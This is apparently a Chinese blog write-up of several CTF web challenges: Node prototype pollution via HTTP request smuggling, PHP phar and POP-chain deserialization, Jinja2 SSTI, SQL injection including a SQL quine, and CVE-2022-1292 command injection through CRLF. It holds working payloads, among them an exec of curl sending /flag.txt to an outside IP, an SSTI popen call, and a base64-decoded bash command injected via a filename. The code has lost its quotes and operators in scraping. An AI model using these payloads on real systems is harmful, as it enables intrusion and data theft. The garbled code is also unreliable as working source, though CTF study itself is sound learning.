婚恋网站建设教程,网站右侧浮动微信二维码,网站建设万户网络,国家开发银行app下载我很喜欢这周的感觉#xff0c;前两道题对着 wp 简略复现了一下#xff0c;由于以前都是自己学习#xff0c;对一些稍微多、稍微难的题都会马上避开#xff0c;笨小孩逃避太久了#xff0c;有些事逃不掉#xff0c;总得面对#xff0c;开始往往很难#xff0c;多花点时… 我很喜欢这周的感觉前两道题对着 wp 简略复现了一下由于以前都是自己学习对一些稍微多、稍微难的题都会马上避开笨小孩逃避太久了有些事逃不掉总得面对开始往往很难多花点时间总能过去所以课余时间全都来刷题目以前的长链子、python、go、网络交互等都没有要求自己看底子差就得努努力这周虽然花了很多时间看懂题目和师傅们的脚本但是在复现完后的畅快总会让我很兴奋 XD。
[西湖论剑 2022]real_ez_node “用 /curl 路由来构造 SSRF 打 /copy 路由下的 原型链污染” “__proto__ 被过滤使用 constructor.prototype 绕过” “通过访问 /curl 利用 HTTP 走私向 /copy 发送 POST 请求然后污染原型链实现代码执行” payload 脚本
import urllib.parsepayload HTTP/1.1POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 155{constructor.prototype.outputFunctionName:_tmp1;global.process.mainModule.require(child_process).exec(curl 47.113.221.205:12345/cat /flag.txt)}
.replace(\n,\r\n)def encode(data):tmp ufor i in data:tmp chr(0x0100ord(i))return tmppayload encode(payload)
print(urllib.parse.quote(payload))
#%C4%A0%C5%88%C5%94%C5%94%C5%90%C4%AF%C4%B1%C4%AE%C4%B1%C4%8D%C4%8A%C4%8D%C4%8A%C5%90%C5%8F%C5%93%C5%94%C4%A0%C4%AF%C5%A3%C5%AF%C5%B0%C5%B9%C4%A0%C5%88%C5%94%C5%94%C5%90%C4%AF%C4%B1%C4%AE%C4%B1%C4%8D%C4%8A%C5%88%C5%AF%C5%B3%C5%B4%C4%BA%C4%A0%C4%B1%C4%B2%C4%B7%C4%AE%C4%B0%C4%AE%C4%B0%C4%AE%C4%B1%C4%8D%C4%8A%C5%83%C5%AF%C5%AE%C5%B4%C5%A5%C5%AE%C5%B4%C4%AD%C5%94%C5%B9%C5%B0%C5%A5%C4%BA%C4%A0%C5%A1%C5%B0%C5%B0%C5%AC%C5%A9%C5%A3%C5%A1%C5%B4%C5%A9%C5%AF%C5%AE%C4%AF%C5%AA%C5%B3%C5%AF%C5%AE%C4%8D%C4%8A%C5%83%C5%AF%C5%AE%C5%AE%C5%A5%C5%A3%C5%B4%C5%A9%C5%AF%C5%AE%C4%BA%C4%A0%C5%A3%C5%AC%C5%AF%C5%B3%C5%A5%C4%8D%C4%8A%C5%83%C5%AF%C5%AE%C5%B4%C5%A5%C5%AE%C5%B4%C4%AD%C5%8C%C5%A5%C5%AE%C5%A7%C5%B4%C5%A8%C4%BA%C4%A0%C4%B1%C4%B5%C4%B5%C4%8D%C4%8A%C4%8D%C4%8A%C5%BB%C4%A2%C5%A3%C5%AF%C5%AE%C5%B3%C5%B4%C5%B2%C5%B5%C5%A3%C5%B4%C5%AF%C5%B2%C4%AE%C5%B0%C5%B2%C5%AF%C5%B4%C5%AF%C5%B4%C5%B9%C5%B0%C5%A5%C4%AE%C5%AF%C5%B5%C5%B4%C5%B0%C5%B5%C5%B4%C5%86%C5%B5%C5%AE%C5%A3%C5%B4%C5%A9%C5%AF%C5%AE%C5%8E%C5%A1%C5%AD%C5%A5%C4%A2%C4%BA%C4%A2%C5%9F%C5%B4%C5%AD%C5%B0%C4%B1%C4%BB%C5%A7%C5%AC%C5%AF%C5%A2%C5%A1%C5%AC%C4%AE%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3%C4%AE%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5%C4%AE%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5%C4%A8%C4%A7%C5%A3%C5%A8%C5%A9%C5%AC%C5%A4%C5%9F%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3%C4%A7%C4%A9%C4%AE%C5%A5%C5%B8%C5%A5%C5%A3%C4%A8%C4%A7%C5%A3%C5%B5%C5%B2%C5%AC%C4%A0%C4%B4%C4%B7%C4%AE%C4%B1%C4%B1%C4%B3%C4%AE%C4%B2%C4%B2%C4%B1%C4%AE%C4%B2%C4%B0%C4%B5%C4%BA%C4%B1%C4%B2%C4%B3%C4%B4%C4%B5%C4%AF%C5%A0%C5%A3%C5%A1%C5%B4%C4%A0%C4%AF%C5%A6%C5%AC%C5%A1%C5%A7%C4%AE%C5%B4%C5%B8%C5%B4%C5%A0%C4%A7%C4%A9%C4%A2%C5%BD%C4%8D%C4%8A
脚本分析
打到服务器端口监听
nc -lvvp 8989vps 没通
复现参考文章 https://blog.csdn.net/jyttttttt/article/details/128875462 https://blog.csdn.net/qq_61768489/article/details/128893726 https://ctf.njupt.edu.cn/archives/822 https://xz.aliyun.com/t/12128#toc-4
[CISCN 2019华北Day1]Web1
注册了个 admin/123 可以直接登
一般不是关于登录框的洞
可以上传文件 gif / jpg / png
上传后可以对已上传文件进行 下载 / 删除 操作
分别对 上传 / 下载 / 删除 抓包在下载 /download.php 的 filename 参数可以利用读取任意文件 把主要文件源码读出来这里直接跑出来就行
../../index.php
../../download.php
../../upload.php
../../delete.php
../../register.php
../../login.php
../../class.php前面的文件都比较正常没什么切入点而且考点不是登录在 class.php 可以看到这是一个简单的文件管理系统
有三个类 User 类用户登录、注册、验证功能 FileList 类页面 UI 实现的文件列表还有文件的下载和删除功能 File 类文件的基本操作打开、关闭、获取文件名、获取文件大小、删除
在 file 类可以看到 close 方法内返回了一个敏感函数
如果要调用 file_get_contents() 函数可以利用在 __destrust() 触发的 $this-db-close();
$this-db new FileList() 就能调用 file_get_contents() 函数 public function close() {return file_get_contents($this-filename);}?phpclass User {public $db;
}class File {public $filename;
}
class FileList {private $files;private $results;private $funcs;public function __construct() {$file new File();$file-filename /flag.txt;$this-files array($file);$this-results array();$this-funcs array();}
}unlink(phar.phar);
$phar new Phar(phar.phar); //后缀名必须为phar$phar-startBuffering();$phar-setStub(?php __HALT_COMPILER(); ?); //设置stub$o new User();
$o-db new FileList();$phar-setMetadata($o); //将自定义的meta-data存入manifest
$phar-addFromString(exp.txt, test); //添加要压缩的文件
//签名自动计算
$phar-stopBuffering();
?本地运行或访问获得 phar 文件如果报错把 php.ini 的 phar.readonly 改为 Off 且前面分号去掉
生成的 phar改后缀名上传然后删除的时候抓包改参读取得到 flag 复现参考文章 https://blog.csdn.net/weixin_44077544/article/details/102844554 https://www.cnblogs.com/kevinbruce656/p/11316070.html https://xz.aliyun.com/t/2715
[NISACTF 2022]popchains
先看大体三个类对应看含有的方法
有 __wakeup() 有 unserialize
找控制点 Try_Work_Hard 内有个 __invoke() 方法调用了 append() 方法可以把 $var 传给 $value 执行 include() 文件包含
触发 __invoke() 的情况是以调用函数的方式调用一个对象时方法会被自动调用我们可以看到 Make_a_Change 中的 __get() 方法内含有一个 return $function() 如果 $effort 存的是我们 new 的对象就会调用 __invoke()
接着就是如何触发 __get()可以调用不存在的属性系统会自动触发可以看到 Road_is_Long 里的 return $this-string-page; 返回 $a-string-page也就是 $a 对象中的 string 属性的值的 page 属性的值
所以 string 可以赋 Make_a_Change 对象最后就是 __toString() 的触发
__toString() 的触发我们 new 一个对象后使用即可
Road_is_Long---__wakeup()
Road_is_Long---__wakeup()
Road_is_Long---__toString()
Make_a_Change---__get()
Try_Work_Hard---__invoke()
Try_Work_Hard---append()最后对应构造调试代码 pop 链子
?php
class Road_is_Long{public $page;public $string;public function __construct($fileindex.php){$this-page $file;echo Road_is_Long---__construct. br/;echo pre . var_dump($this-page) . /pre. br/. br/; }public function __toString(){echo Road_is_Long---__toString. br/;echo pre . var_dump($this-string-page) . /pre. br/. br/; return $this-string-page; }public function __wakeup(){echo Road_is_Long---__wakeup. br/;if(preg_match(/file|ftp|http|https|gopher|dict|\.\./i, $this-page)) {echo You can Not Enter 2022;$this-page index.php;echo pre . var_dump($this-page) . /pre. br/. br/; }}
}class Try_Work_Hard{protected $var /flag;public function append($value){echo Try_Work_Hard---include. br/;include($value);echo pre . var_dump($value) . /pre. br/. br/; }public function __invoke(){echo Try_Work_Hard---__invoke---append. br/;$this-append($this-var);echo pre . var_dump($this-append($this-var)) . /pre. br/. br/; }
}class Make_a_Change{public $effort;public function __construct(){echo Make_a_Change---__construct. br/;$this-effort array();echo pre . var_dump($this-effort) . /pre. br/. br/; }public function __get($key){echo Make_a_Change---__get. br/;$function $this-effort;echo pre . var_dump($function) . /pre. br/. br/; return $function(); }
}$a_pagenew Road_is_Long();
$b_stringnew Road_is_Long();
$c_effortnew Make_a_Change();
$d_includenew Try_Work_Hard();$a_page - page$b_string;
$b_string - string$c_effort;
$c_effort - effort$d_include;/**********************Try to See flag.php*****************************/ echo urlencode(serialize($a_page)). br/;
echo br/;
简化
?phpclass Road_is_Long{public $page;public $string;
}class Try_Work_Hard{protected $var /flag;
}class Make_a_Change{public $effort;
} $a_pagenew Road_is_Long();
$b_stringnew Road_is_Long();
$c_effortnew Make_a_Change();
$d_includenew Try_Work_Hard();$a_page - page$b_string;
$b_string - string$c_effort;
$c_effort - effort$d_include;echo urlencode(serialize($a_page));payload
?wishO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3Bs%3A9%3A%22index.php%22%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D[NSSCTF 2022 Spring Recruit]babyphp
四个 if
if(isset($_POST[a])!preg_match(/[0-9]/,$_POST[a])intval($_POST[a]))preg_match 可以使用数组绕过
if(isset($_POST[b1])$_POST[b2])if($_POST[b1]!$_POST[b2]md5($_POST[b1])md5($_POST[b2]))md5 强比较也可以用数组
if($_POST[c1]!$_POST[c2]is_string($_POST[c1])is_string($_POST[c2])md5($_POST[c1])md5($_POST[c2]))md5 弱比较可以用 md5 值为 0e 开头的字符串比较当 md5 值的前缀为 0e 时PHP 中的类型转换会将它们视为科学计数法表示的数字并将字符串转换为数字进行比较。科学计数法中的 e 表示指数0 的任何次幂都为 0。
payload: a[]1b1[]1b2[]2c1QNKCDZOc2s878926199a [NCTF 2018]flask真香
关于 flask 的考点我见过的有 SSTI、CSRF、路由配置、SQL、文件上传
这里如果不看标签分析简单的看一下页面demo 2-8 都是不存在的页面其余的链接都会跳转出去。
有报错看报错没有看到暴露的参数 在URL测注入点
{{7*7}}渲染引擎Jinja2
有过滤被过滤后发送请求不会在URL后显示
class
config
getattr
import
builtins
os
open
eval
func_globals{{()[__class__].__bases__[0][__subclasses__]()}}URL/[class _bz2.BZ2Decompressor, class iterator, class _ctypes.DictRemover, class _frozen_importlib._installed_safely, class sre_parse.Tokenizer, class str整理搜索 os 模块前一个 warnings.catch_warnings 模块
object.subclasses()[59].init.globals.builtins 下有 evalimport 等的全局函数 这次随机的下标为 357
payload:
()[__class__].__bases__[0][__subclasses__]()[357].__init__.__globals__[__builtins__][eval](__import__(os).popen(whoami).read())[SWPUCTF 2021 新生赛]sql
源码参数是 wllm
?wllm1Your Login name:xxx
Your Password:yyy709 是被过滤的
and
left
right
substr
handler
updatexml
extractvalue
into
outfile
load_file
reverse1order/**/by/**/3/**/%23Your Login name:xxx
Your Password:yyy1order/**/by/**/4/**/%23Unknown column 4 in order clause三个字段
-1union/**/select/**/1,2,3/**/%23Your Login name:2
Your Password:3两个回显点
-1union/**/select/**/1,database(),version()/**/%23Your Login name:test_db
Your Password:10.2.29-MariaDB-log查库走流程简单的习惯直接 database()
-1union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/%23Your Login name:2
Your Password:LTLT_flag,users查表
-1union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/%23Your Login name:2
Your Password:id,flag,id,username,查列
-1union/**/select/**/1,2,flag/**/from/**/LTLT_flag/**/%23Your Login name:2
Your Password:NSSCTF{2922bac4-d670回显截断没读完只读了 20 个字符 截取字符串常用函数 mid(), substr(), left(), right(), substring(), substring_index() mid(), substr() 等价 substring() 对比过滤的字符就剩 mid 可用了
-1union/**/select/**/1,2,mid(flag,21,20)/**/from/**/LTLT_flag/**/%23Your Login name:2
Your Password:-4399-8ab0-69b3570f0-1union/**/select/**/1,2,mid(flag,41,20)/**/from/**/LTLT_flag/**/%23Your Login name:2
Your Password:987}[第五空间 2021]yet_another_mysql_injection
源码
!-- /?source --过滤
regexpbetween
in
flagand
|
right
left
reverse
update
extractvalue
substr
floor;
$
0x
sleep这里有两个主要的 if if (!$row) {alertMes(something wrong,index.php);}if ($row[password] $password) {die($FLAG);} else {alertMes(wrong password,index.php);如果 $password 与查询到的结果集匹配就过第一个 if否则回显 something wrong
盲注模糊搜索查
1or/**/password/**/like/**/1%#没学过python如果是比赛可以直接套用脚本跑自己学习的话笨点手测到 e 的时候回显 wrong password
用盲注脚本跑可以跑出来密码登录就有 flag
但是这里考的知识点是 SQL-Quine而且不会 python现学一下 Quine Quine又叫做自产生程序在sql注入技术中这是一种使得输入的sql语句和输出的sql语句一致的技术 Quine SQL 它要求查询能够以自身代码为输入输出其自身代码 Quine SQL通常由两部分组成查询部分和输出部分。查询部分负责从数据库中检索出自身代码而输出部分则负责输出该代码。 Quine 需要用到 replace 函数没被过滤 REPLACE ( string_expression , string_pattern , string_replacement ) https://learn.microsoft.com/en-us/sql/t-sql/functions/replace-transact-sql?viewsql-server-ver16string_expression
Is the string expression to be searched. string_expression can be of a character or binary data type.string_pattern
Is the substring to be found. string_pattern can be of a character or binary data type. string_pattern must not exceed the maximum number of bytes that fits on a page. If string_pattern is an empty string (), string_expression is returned unchanged.string_replacement
Is the replacement string. string_replacement can be of a character or binary data type.主要还是看了一眼文档写的三个参数都支持字符或二进制数据类型char(46) 对应 . char(39) 对应 char(34) 对应
跟着试试
我习惯用 Navicat 测
mysql
mysql select replace(.,char(46),.);
---------------------------
| replace(.,char(46),.) |
---------------------------
| . |
---------------------------
1 row in set (0.04 sec). 被替换为 .最后返回 .
mysql
mysql select replace(.,char(46),replace(.,char(46),.));
---------------------------------------------------
| replace(.,char(46),replace(.,char(46),.)) |
---------------------------------------------------
| replace(.,char(46),.) |
---------------------------------------------------
1 row in set (0.04 sec). 被检测到被替换为 replace(.,char(46),.)最后返回 replace(.,char(46),.)
mysql
mysql select replace(replace(.,char(46),.),char(46),.);
---------------------------------------------------
| replace(replace(.,char(46),.),char(46),.) |
---------------------------------------------------
| replace(.,char(46),.) |
---------------------------------------------------
1 row in set (0.04 sec)在 replace(.,char(46),.) 里的 . 被检测到替换为 .最后返回 replace(.,char(46),.)
mysql
mysql select replace(replace(.,char(46),.),char(46),replace(.,char(46),.));
---------------------------------------------------------------------------
| replace(replace(.,char(46),.),char(46),replace(.,char(46),.)) |
---------------------------------------------------------------------------
| replace(replace(.,char(46),.),char(46),replace(.,char(46),.)) |
---------------------------------------------------------------------------
1 row in set (0.04 sec)mysql
在 replace(.,char(46),.) 里的 . 被检测到替换为 replace(.,char(46),.)最后返回 replace(replace(.,char(46),.),char(46),replace(.,char(46),.))
手动替换后就知道是为什么了现在差标点不一致试过就知道全引号会报错输出是双引号输入是单引号考虑把双改为单但是不能全改需要改的双引号位置有点刁钻为了不改变不需要改变的内容再替换一次即可
双替换单
replace(.,char(34),char(39))mysql select replace(.,char(34),char(39));
----------------------------------
| replace(.,char(34),char(39)) |
----------------------------------
| . |
----------------------------------
1 row in set (0.04 sec)再套一层替换为 str
replace(replace(.,char(34),char(39)),char(46),str)mysql select replace(replace(.,char(34),char(39)),char(46),str);
----------------------------------------------------------
| replace(replace(.,char(34),char(39)),char(46),str) |
----------------------------------------------------------
| str |
----------------------------------------------------------
1 row in set (0.04 sec)整理试试
外单引号
replace(replace(.,char(34),char(39)),char(46),.)内双引号
replace(replace(.,char(34),char(39)),char(46),.)结合
replace(replace(replace(replace(.,char(34),char(39)),char(46),.),char(34),char(39)),char(46),replace(replace(.,char(34),char(39)),char(46),.))结果
mysql select replace(replace(replace(replace(.,char(34),char(39)),char(46),.),char(34),char(39)),char(46),replace(replace(.,char(34),char(39)),char(46),.));
------------------------------------------------------------------------------------------------------------------------------------------------------------
| replace(replace(replace(replace(.,char(34),char(39)),char(46),.),char(34),char(39)),char(46),replace(replace(.,char(34),char(39)),char(46),.)) |
------------------------------------------------------------------------------------------------------------------------------------------------------------
| replace(replace(replace(replace(.,char(34),char(39)),char(46),.),char(34),char(39)),char(46),replace(replace(.,char(34),char(39)),char(46),.)) |
------------------------------------------------------------------------------------------------------------------------------------------------------------
1 row in set (0.06 sec)同理套入这题
源码语句
$sqlSELECT password FROM users WHERE usernameadmin and pass word$pass word;;构造一个注入语句这里是外为单引号
1union select replace(replace(str,char(34),char(39)),char(46),str)#构造一个替换语句这里是内为双引号
1union select replace(replace(.,char(34),char(39)),char(46),.)#放进去合起来
1 union select replace(replace(1 union select replace(replace(.,char(34),char(39)),char(46),.)#,char(34),char(39)),char(46),1 union select replace(replace(.,char(34),char(39)),char(46),.)#)#换空格(最后 payload)
1/**/union/**/select/**/replace(replace(1/**/union/**/select/**/replace(replace(.,char(34),char(39)),char(46),.)#,char(34),char(39)),char(46),1/**/union/**/select/**/replace(replace(.,char(34),char(39)),char(46),.)#)#参考文章https://www.cnblogs.com/zhengna/p/15917521.html
[CISCN 2022 初赛]online_crt
这题当时也没头绪看了这题的标签 CVE-2022-1292 可操作 /etc/ssl/certs/ 目录的攻击者可注入恶意命令以 c_rehash 脚本的权限执行任意命令。 CVE-2022-1292 先知社区分析https://xz.aliyun.com/t/11703
先看看网站跟名字一样是在线 crt 证书生成
四个路由
/
/getcrt
/createlink
/proxyproxy 路由的参数 uri 是可利用 CRLF 注入漏洞进行控制的 回车符(CRASCII 13\r%0d) 换行符(LFASCII 10\n%0a) app.route(/proxy, methods[GET])
def proxy():uri request.form.get(uri, /)client socket.socket()client.connect((localhost, 8887))msg fGET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.9
Connection: closeclient.send(msg.encode())data client.recv(2048)client.close()return data.decode()
第一个直接将路径中的/替换为%2f GO 脚本这里可以传入两个参数满足路径不为空和 HOST 为 admin 即可过即用 CRLF 篡改为 Host: admin
func admin(c *gin.Context) {staticPath : /app/static/crt/oldname : c.DefaultQuery(oldname, )newname : c.DefaultQuery(newname, )if oldname || newname || strings.Contains(oldname, ..) || strings.Contains(newname, ..) {c.String(500, error)return}if c.Request.URL.RawPath ! c.Request.Host admin {err : os.Rename(staticPatholdname, staticPathnewname)if err ! nil {return}c.String(200, newname)return}c.String(200, no)
}func index(c *gin.Context) {c.String(200, hello world)
}func main() {router : gin.Default()router.GET(/, index)router.GET(/admin/rename, admin)if err : router.Run(:8887); err ! nil {panic(err)}
}c.Request.URL.RawPath 表示请求 URL 的未经解码的路径部分其中包含参数但不包含主机名和方案。如果请求 URL 中不包含路径则 RawPath 为空字符串。
app.route(/createlink, methods[GET])
def info():json_data {info: os.popen(c_rehash static/crt/ ls static/crt/).read()}return json.dumps(json_data)c_rehash - hash_dir
sub hash_dir {my %hashlist;print Doing $_[0]\n;chdir $_[0];opendir(DIR, .);# 根据 CVE-2022-1292 先知社区分析问题出在这里, 将该目录所有文件名读入到flist数组, 但没有处理, 导致文件名命令注入的可能my flist sort readdir(DIR);closedir DIR;if ( $removelinks ) {# Delete any existing symbolic linksforeach (grep {/^[\da-f]\.r{0,1}\d$/} flist) {if (-l $_) {print unlink $_ if $verbose;unlink $_ || warn Cant unlink $_, $!\n;}}}FILE: foreach $fname (grep {/\.(pem)|(crt)|(cer)|(crl)$/} flist) {# Check to see if certificates and/or CRLs present.my ($cert, $crl) check_file($fname);if (!$cert !$crl) {print STDERR WARNING: $fname does not contain a certificate or CRL: skipping\n;next;}link_hash_cert($fname) if ($cert);link_hash_cert_old($fname) if ($cert);link_hash_crl($fname) if ($crl);link_hash_crl_old($fname) if ($crl);}
}将该目录所有文件名读入到 flist 数组但没有处理这里后续还有 perl 的其他解析
最后传入使用 反引号包裹的命令即可
先 生成一个证书 static/crt/324dda55-5b24-4309-b5e5-f20ba569e01d.crt 得到证书名构造 CRLF 注入语句进行篡改
/admin/rename?oldname324dda55-5b24-4309-b5e5-f20ba569e01d.crtnewnameecho Y2F0IC8qIA|base64 --decode|bashx.txt.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close
拼接后报文变为
GET /admin/rename?oldname324dda55-5b24-4309-b5e5-f20ba569e01d.crtnewnameecho Y2F0IC8qIA|base64 --decode|bashx.txt.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: closeHTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.9
Connection: close先对 admin/ 的 / 和命令里的空格进行URL 编码然后再整体编码一次
/admin%252frename%3Foldname%3D324dda55-5b24-4309-b5e5-f20ba569e01d.crt%26newname%3D%60echo%20Y2F0IC8qIA%3D%3D%7Cbase64%20--decode%7Cbash%3Ex.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%0D%0AContent-Length%3A%20136%0D%0AConnection%3A%20close%0D%0A在 /proxy 处触发普通命令没有回显的地方写入文件
命令
cat /* Bash 脚本执行
echo Y2F0IC8qIA|base64 --decode|bashflag.txt访问 /createlink 路由调用 c_rehash 触发命令执行 /static/crt/flag.txt 参考文章 https://www.cnblogs.com/yesec/p/16345525.html https://xz.aliyun.com/t/11703 https://www.freebuf.com/column/202762.html
URL 脚本替换出处 https://blog.csdn.net/qq_62078839/article/details/125144431
import urllib.parse
uri /admin%2frename?oldname7ec49aae-99df-427f-8f73-fc12504b0ff6.crtnewnameecho%20Y2F0IC8qIA|base64%20--decode|bashflag.txt.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: closegopher uri.replace(\n,\r\n)
aaa urllib.parse.quote(gopher)
print(aaa)